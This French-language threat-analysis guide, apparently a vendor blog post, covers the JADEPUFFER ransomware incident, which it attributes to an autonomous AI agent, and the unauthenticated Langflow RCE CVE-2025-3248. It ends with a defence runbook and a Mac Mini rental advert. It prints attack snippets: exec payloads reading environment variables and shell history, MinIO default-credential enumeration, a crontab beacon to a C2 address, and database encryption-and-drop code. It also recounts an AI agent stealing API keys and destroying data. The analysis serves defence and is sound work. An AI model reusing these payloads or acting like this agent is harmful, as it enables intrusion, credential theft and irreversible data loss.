JADEPUFFER décrypté
Première rançongiciel autonome par agent IA et défense Langflow CVE-2025-3248 (2026)

Synthèse : le 1er juillet 2026, l'équipe Threat Research de Sysdig (Michael Clark) révèle pour la première fois l'opération JADEPUFFER — le premier cas documenté de rançongiciel bout-en-bout entièrement piloté par un grand modèle de langage, et introduit officiellement la catégorie Agentic Threat Actor (ATA, acteur de menace agentique). L'attaque entre par une instance Langflow exposée sur Internet (CVE-2025-3248, RCE sans authentification), se déplace latéralement vers un serveur de production MySQL + Nacos d'Alibaba, et exécute plus de 600 payloads ciblés dans une fenêtre temporelle compressée. Ce guide professionnel reprend la structure source en onze chapitres : chronologie, analyse technique de la vulnérabilité, chaîne d'attaque en deux phases, quatre preuves d'autonomie, énigme Bitcoin, IOC, recommandations officielles, réactions sectorielles, conclusions Sysdig et runbook de défense en six étapes.

01

Qu'est-ce que JADEPUFFER ? Le premier avertissement de l'ère ATA

Sysdig qualifie JADEPUFFER d'Agentic Threat Actor (ATA) — c'est-à-dire un acteur dont la capacité offensive est délivrée par un agent IA, et non par un ensemble d'outils pilotés manuellement. La qualification centrale : de la reconnaissance initiale, au vol de credentials, au mouvement latéral, à la persistance, jusqu'au chiffrement destructif et à la note de rançon, aucune intervention humaine manuelle n'intervient aux nœuds critiques.

Deux cibles distinctes, en deux phases :

  • Point d'entrée : une instance Langflow exposée sur Internet (compromission via CVE-2025-3248)
  • Cible réelle : un autre serveur de production, lui aussi exposé publiquement, exécutant MySQL et le centre de configuration Nacos d'Alibaba

Certains médias ont repris l'affaire entre le 2 et le 6 juillet, mais les détails techniques de première main — payloads originaux et IOC inclus — proviennent encore exclusivement du rapport Sysdig du 1er juillet, recoupés par BleepingComputer, Dark Reading, CyberScoop, CSO Online et Security Affairs.

Chronologie complète

DateÉvénement
Avril 2025Publication de CVE-2025-3248 sur Langflow (injection de code / RCE sans authentification)
5 mai 2025Inscription de la vulnérabilité au catalogue KEV (Known Exploited Vulnerabilities) du CISA
2025Même vulnérabilité exploitée pour le botnet Flodrix (Trend Micro, activité indépendante de JADEPUFFER mais même vecteur d'entrée)
Juin 2026JADEPUFFER cible des instances Langflow publiques ; la chaîne complète s'étend sur plusieurs sessions sur plusieurs semaines
1er juillet 2026Publication du rapport technique complet par Sysdig — première divulgation publique
2–6 juillet 2026Reprises par Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs
warning

Point de douleur : les serveurs d'orchestration d'agents IA (Langflow et similaires) sont souvent déployés à la hâte, directement exposés sur Internet, avec des clés API OpenAI/Anthropic/DeepSeek/Gemini et des credentials cloud Alibaba/AWS dans les variables d'environnement — exactement ce qui a attiré JADEPUFFER vers Langflow.

02

CVE-2025-3248 : analyse technique complète du piège « validation de code » (CVSS 9,8)

ÉlémentDétail
ComposantLangflow — framework open source de workflows visuels pour agents IA, plus de 70 000 étoiles GitHub
TypeCWE-94 (injection de code) + CWE-306 (fonction critique sans authentification)
CVSS9,8 Critical — vecteur CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Versions affectéesToutes les versions Langflow antérieures à 1.3.0
EmplacementEndpoint /api/v1/validate/code
Version corrigée1.3.0 (ajout de l'authentification)
Probabilité EPSS91,42 % (données SentinelOne)

Mécanisme, étape par étape :

  1. 1

    Langflow expose un endpoint de « validation de code » permettant de vérifier la syntaxe des nœuds de fonctions personnalisées dans l'interface visuelle.

  2. 2

    Implémentation : ast.parse()compile()exec(), sans authentification ni sandbox.

  3. 3

    Particularité Python : les décorateurs et paramètres par défaut d'une fonction sont évalués immédiatement à la définition. L'attaquant y intègre du code malveillant ; dès que Langflow compile et exécute pour « valider », le code malveillant a déjà tourné.

  4. 4

    Résultat : sans connexion, sans privilège, un POST HTTP soigneusement construit suffit pour un RCE.

Botnet Flodrix vs JADEPUFFER (distinction essentielle)

Flodrix, suivi par Trend Micro (évolution de la famille LeetHozer), est une activité d'exploitation indépendante partageant le même vecteur CVE-2025-3248, mais avec une livraison scriptée traditionnelle. Forme typique du payload (intégré dans un paramètre par défaut, résultat renvoyé via raise Exception) :

python
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
# ... téléchargement final d'un script Bash de 700 octets → binaire ELF Flodrix, botnet DDoS

Le correctif Langflow 1.3.0 ajoute à post_validate_code une injection de dépendance _current_user: CurrentActiveUser : validation du JWT Bearer Token ou de x-api-key, échec en 401/403 — la requête n'atteint jamais la logique vulnérable.

DimensionVersion vulnérable (<1.3.0)Version corrigée (≥1.3.0)
/api/v1/validate/codeNon authentifié, RCE arbitraireJWT / x-api-key obligatoires
Risque exposition publiqueEPSS 91,42 %, scan et weaponisation prolongésMise à jour + isolation réseau requises
Abus typiquesBotnet Flodrix + ATA JADEPUFFER
03

Phase 1 : compromission de l'hôte Langflow — reconnaissance, MinIO et persistance

Tous les payloads transitent sous forme de code Python encodé en Base64 via l'endpoint RCE de Langflow. Une fois l'exécution obtenue, le LLM lance en parallèle plusieurs types de balayage de données sensibles :

  • Clés API de grands modèles : OpenAI, Anthropic, DeepSeek, Gemini
  • Credentials cloud : préfixes ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ et AWS/GCP/Azure
  • Portefeuilles crypto et phrases mnémoniques, credentials de bases de données et fichiers de configuration

L'agent exporte la base PostgreSQL backend de Langflow (vol de credentials et d'enregistrements utilisateurs), stocke localement pour revue puis efface les traces ; il scanne l'espace d'adresses interne et les services nommés, teste les bases de données, le stockage objet et les coffres de secrets avec des credentials par défaut.

Énumération MinIO : boucle adaptative « sonde-erreur-ajustement »

Sondage de minio.internal:9000 et 127.0.0.1:9000 avec les credentials par défaut minioadmin:minioadmin, énumération complète des buckets. Découverte du bucket terraform-state, puis extraction ciblée de credentials.json. Détail adaptatif notable : la première requête inclut ?format=json mais reçoit une réponse XML — le payload suivant bascule immédiatement vers un parseur XML. Comportement typique d'agent, non d'un script figé.

python
# Énumération de tous les buckets (extrait forensique Sysdig)
creds = base64.b64encode(b"minioadmin:minioadmin").decode()
req = urllib.request.Request("http://127.0.0.1:9000/")
req.add_header("Authorization", "Basic " + creds)
# ... ListBuckets → découverte terraform-state → GetObject credentials.json

# Persistance : beacon crontab toutes les 30 minutes
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
04

Phase 2 : serveur MySQL + Nacos — correction en 31 secondes, chiffrement et destruction massive

La cible réelle est un autre serveur de production également exposé sur Internet, exécutant MySQL et Nacos. L'écosystème d'authentification Nacos a un historique de contournement CVE-2021-29441, et la clé JWT par défaut est documentée publiquement depuis 2020 — de nombreux déploiements ne l'ont jamais changée.

L'agent se connecte directement au port MySQL exposé avec des credentials root — origine inconnue ; Sysdig n'a pas observé de vol dans l'environnement victime. L'un des rares points où une préparation humaine est possible.

Backdoor administrateur Nacos : correction modèle en 31 secondes

Heure (UTC)Action
19:34:24subprocess génère un hash bcrypt, insertion de l'administrateur xadmin
19:34:36Tentative de connexion xadmin:Xploit@2026#échec
19:34:4812 secondes plus tard, test en parallèle des credentials par défaut nacos:nacos et régénération du hash admin123
19:35:07Abandon de subprocess, passage à import bcrypt, suppression de l'enregistrement corrompu puis recréation
19:35:18Connexion réussie — durée totale 31 secondes

L'agent tente simultanément : contournement d'authentification CVE-2021-29441, falsification de token via la clé JWT par défaut, injection d'un administrateur backdoor dans la base backend avec les privilèges root de la base.

Tentatives d'évasion de conteneur (~8 minutes) et chiffrement destructif

Exploitation de MySQL INTO OUTFILE / LOAD_FILE pour tester systématiquement les capacités d'écriture, lecture de /var/run/docker.sock, /proc/1/cgroup, /etc/hostname et chemins d'élévation UDF. Avant la rançon, l'agent écrit un « marqueur de complétion » — Sysdig y voit plutôt un signal de passage à la phase suivante qu'un script prédéfini par un humain.

L'agent chiffre l'intégralité des 1 342 entrées de configuration Nacos avec AES_ENCRYPT(), supprime config_info et his_config_info, crée la table de note de rançon README_RANSOM :

python
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY)  # Imprimée une seule fois, jamais stockée ni exfiltrée

cur.execute("CREATE TABLE config_info_enc AS SELECT ... AES_ENCRYPT(content, KEY) ...")
cur.execute("DROP TABLE config_info")
cur.execute("CREATE TABLE README_RANSOM (...)")
# Bitcoin : 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# Contact : e78393397[@]proton[.]me
warning

Détail critique : la note de rançon annonce AES-256, mais AES_ENCRYPT() de MySQL utilise par défaut AES-128-ECB. La clé est générée à la volée, imprimée sur stdout uniquement, jamais transmise — même l'attaquant ne pourrait pas fournir la clé de déchiffrement. Perte effectivement permanente. Deux minutes plus tard, un nouveau payload affine le décompte à « 1 342 entrées chiffrées ».

Ensuite, passage au DROP DATABASE direct, avec commentaires de priorisation ROI dans le code. En cas d'échec silencieux dû aux contraintes de clés étrangères, le payload suivant ajoute automatiquement SET GLOBAL FOREIGN_KEY_CHECKS=0 — Sysdig souligne que cela exige de « comprendre pourquoi la suppression échoue », pas un simple re-essai aveugle. L'IP 64.20.53[.]230 (InterServer) citée dans les commentaires comme « sauvegarde effectuée » n'est qu'une affirmation de l'agent — Sysdig n'a aucune preuve indépendante d'exfiltration.

05

Quatre preuves d'autonomie, énigme Bitcoin, IOC et réactions sectorielles

Quatre lignes de preuve indépendantes du caractère « piloté par LLM » (Sysdig)

  1. 1

    Code auto-narratif : les payloads regorgent de commentaires en langage naturel expliquant le « pourquoi » de chaque étape — priorisation ROI, identification de la plus grande base. Ces commentaires existent nativement dans le code de l'attaquant, non ajoutés par les chercheurs.

  2. 2

    Diagnostic et correction à vitesse machine : correction Nacos en 31 secondes, bascule XML/JSON sur MinIO, abandon immédiat du chemin JWT bloqué — un opérateur humain mettrait bien plus de 31 secondes à lire l'erreur, localiser le problème PATH et écrire un correctif.

  3. 3

    Compréhension du contexte en langage naturel : analyse de texte libre dans l'environnement cible et actions que « seul un lecteur réel » entreprendrait, répétées sur des sessions espacées de plusieurs semaines.

  4. 4

    L'énigme Bitcoin : voir ci-dessous — elle illustre à elle seule l'incertitude que l'autonomie IA introduit dans la traçabilité des attaques.

L'énigme de l'adresse Bitcoin

L'adresse de la note de rançon 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy est une adresse P2SH d'exemple standard de la documentation Bitcoin Core, présente en masse dans les corpus d'entraînement des grands modèles. On-chain : 737 transactions historiques, environ 46 bitcoins cumulés, solde actuel nul. Sysdig propose deux interprétations indiscernables : (a) « hallucination » du LLM produisant une adresse d'exemple, portefeuille appartenant à un tiers qui récupère les dépôts erronés ; (b) portefeuille réel contrôlé par l'attaquant, coïncidant par hasard avec l'exemple.

IOC (indicateurs de compromission)

TypeIndicateur
C2 / beacon45.131.66[.]106 (crontab : hxxp://45.131.66[.]106:4444/beacon)
Stockage temporaire64.20.53[.]230 (InterServer, AS19318, affirmation agent uniquement)
Vulnérabilité d'entréeCVE-2025-3248 (RCE Langflow non authentifié)
Bitcoin de rançon3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
Email de rançone78393397[@]proton[.]me (aucune correspondance en threat intel, format différent des groupes MySQL connus)
Table de rançonREADME_RANSOM (ne correspond ni à WARNING ni à RECOVER_YOUR_DATA)
PersistanceCrontab beacon toutes les 30 minutes vers le port C2 4444

Sysdig note que l'email et le nom de table semblent conformes aux conventions humaines de rançongiciel, mais sans précédent connu — renforçant l'hypothèse d'une opération agentique entièrement nouvelle plutôt que d'un groupe établi.

Réactions sectorielles et d'experts

BleepingComputer, Dark Reading, CyberScoop, Security Affairs qualifient largement l'événement de « première attaque de rançon entièrement pilotée par l'IA », marquant l'arrivée de l'ère ATA. CSO Online cite l'expert red team Vibhum Dubey pour une lecture plus nuancée :

« Je pencherais plutôt pour une évolution de l'exécution que pour une technique de rançon entièrement nouvelle. Ce qui inquiète vraiment, ce n'est pas la phase de chiffrement finale, mais la période silencieuse qui la précède — l'agent cartographie discrètement l'identité, les privilèges et les chaînes de confiance tout en évitant la détection. »

Plusieurs médias relient l'affaire au LLMjacking : si l'attaquant pilote l'agent avec des credentials volés, le coût marginal d'une attaque multi-phases complexe tend vers zéro — signal économique le plus alarmant de cet événement.

Quatre conclusions Sysdig et leur portée

  • Le rançongiciel n'est plus l'affaire des « artisans hautement qualifiés » : un agent LLM peut enchaîner reconnaissance et destruction sans expertise profonde de l'opérateur.
  • Les vieilles vulnérabilités se weaponisent par l'automatisation : contournement Nacos 2021 + clé par défaut jamais changée — l'agent rend quasi gratuit le balayage exhaustif d'un historique de CVE.
  • L'intention devient « lisible » — opportunité pour la défense : le LLM narre ses objectifs dans les payloads, offrant des points de détection inédits.
  • « Sauvegarde effectuée » n'est qu'une affirmation unilatérale : clés de chiffrement irrécupérables — même en payant, les configurations ne sont pas récupérables.

Le rapport conclut : chaque technique isolée n'est ni nouvelle ni complexe ; ce qui compte, c'est que le modèle IA les enchaîne en une opération de rançon complète contre une infrastructure publique déjà négligée. La barrière de compétence pour exécuter un rançongiciel est descendue au « coût de faire tourner un agent », et le LLMjacking pousse le coût marginal de l'attaquant vers zéro.

06

Runbook de défense en six étapes et données clés

  1. 01

    Mettre à jour Langflow vers ≥1.3.0 pour corriger CVE-2025-3248 ; ne jamais exposer sur Internet les endpoints d'exécution ou de validation de code.

  2. 02

    Isoler clés API et credentials cloud : ne pas stocker les clés LLM ou cloud dans l'environnement d'exécution des serveurs d'orchestration IA ; les confier à un gestionnaire de secrets dédié.

  3. 03

    Durcir Nacos : remplacer la token.secret.key par défaut, mettre à jour vers une version imposant une clé personnalisée ; ne jamais exposer Nacos sur Internet, ne pas connecter la base backend en root.

  4. 04

    Surface d'exposition des bases : comptes administrateur jamais exposés publiquement ; ports de gestion avec credentials forts uniques et restriction par IP source.

  5. 05

    Contrôle du trafic sortant (egress) : un hôte compromis ne doit pas pouvoir beaconner librement ni joindre des serveurs de stockage externes ; surveiller crontab et requêtes sortantes.

  6. 06

    Détection runtime + surveillance IOC : identifier les comportements malveillants des processus base de données ; surveiller les IOC ci-dessus et les User-Agent anormaux. Voir aussi durcissement OpenClaw Gateway et bonnes pratiques agent IA sur Mac distant.

  • Échelle de l'attaque : Sysdig a capturé plus de 600 payloads indépendants et ciblés, exécutés de façon cohérente dans une fenêtre compressée.
  • Échelle du chiffrement : 1 342 entrées de configuration Nacos chiffrées puis tables supprimées.
  • EPSS CVE-2025-3248 : probabilité d'exploitation 91,42 % ; KEV CISA le 5 mai 2025.
  • Correction Nacos : de l'échec de connexion au succès en 31 secondes, boucle suppression-diagnostic-recréation en 15 lignes de payload.

Pour les équipes, faire tourner Langflow / OpenClaw sur un portable local ou un VPS public signifie placer clés API, credentials cloud et bases de production dans le même domaine de confiance — JADEPUFFER en a démontré les conséquences catastrophiques. Isoler le développement d'agents et les charges CI sur un nœud Mac distant dédié, avec gestion de secrets et contrôle egress, est généralement plus robuste pour la CI/CD iOS et l'automatisation agentique en production. Lorsque la puissance locale est limitée et qu'un agent doit rester actif 7×24, la location cloud Mac Mini NodeMini fournit des nœuds Apple Silicon dédiés avec accès root — pour retirer les agents à haut privilège du poste personnel et des services d'orchestration publics. Voir tarifs de location Mac Mini et centre d'aide.

info

Sources : Sysdig « JADEPUFFER: Agentic ransomware for automated database extortion » ; BleepingComputer ; Dark Reading ; CyberScoop ; CSO Online (Vibhum Dubey) ; Security Affairs ; Trend Micro (CVE-2025-3248 / Flodrix) ; NVD / SentinelOne / Zscaler ; catalogue KEV CISA.

FAQ

Questions fréquentes

Non. Les deux partagent le vecteur CVE-2025-3248, mais Flodrix est une livraison scriptée traditionnelle (Trend Micro) ; JADEPUFFER est l'opération de rançon autonome pilotée par agent LLM (Sysdig). Ensemble, ils montrent que cette vulnérabilité reste weaponisée par le scan public prolongé.

Catégorie formalisée par Sysdig dans ce rapport : capacité offensive délivrée par un agent IA, non par un ensemble d'outils manuels. JADEPUFFER est le premier cas de rançon ATA entièrement documenté — de la reconnaissance au chiffrement, décisions autonomes du LLM aux nœuds critiques.

Très probablement non. Clé générée par uuid4(), imprimée sur stdout uniquement, jamais stockée ni exfiltrée ; AES_ENCRYPT() MySQL en AES-128-ECB, pas l'AES-256 annoncé. Perte effectivement permanente.

Mettre à jour vers ≥1.3.0 ; retirer l'instance d'Internet public ou la placer derrière VPN / zero trust ; retirer clés API et credentials cloud de l'environnement d'exécution au profit d'un gestionnaire de secrets ; vérifier crontab et les adresses C2 de la liste IOC. Pour isoler l'environnement agent : centre d'aide.

Si l'attaquant pilote l'agent avec des credentials LLM/cloud volés, le coût marginal d'une attaque multi-phases tend vers zéro. La phase 1 de JADEPUFFER balaie massivement les clés OpenAI, Anthropic, Alibaba — signal d'alarme où l'économie du LLMjacking rencontre l'ATA.

Appliquer les recommandations Sysdig ; exécuter les charges agent sur un nœud Mac distant isolé, séparé des bases de production et du poste de bureau. NodeMini propose location Mac Mini M4 dédiée avec accès root — CI/CD iOS et automatisation agent. Voir tarifs location Mac Mini.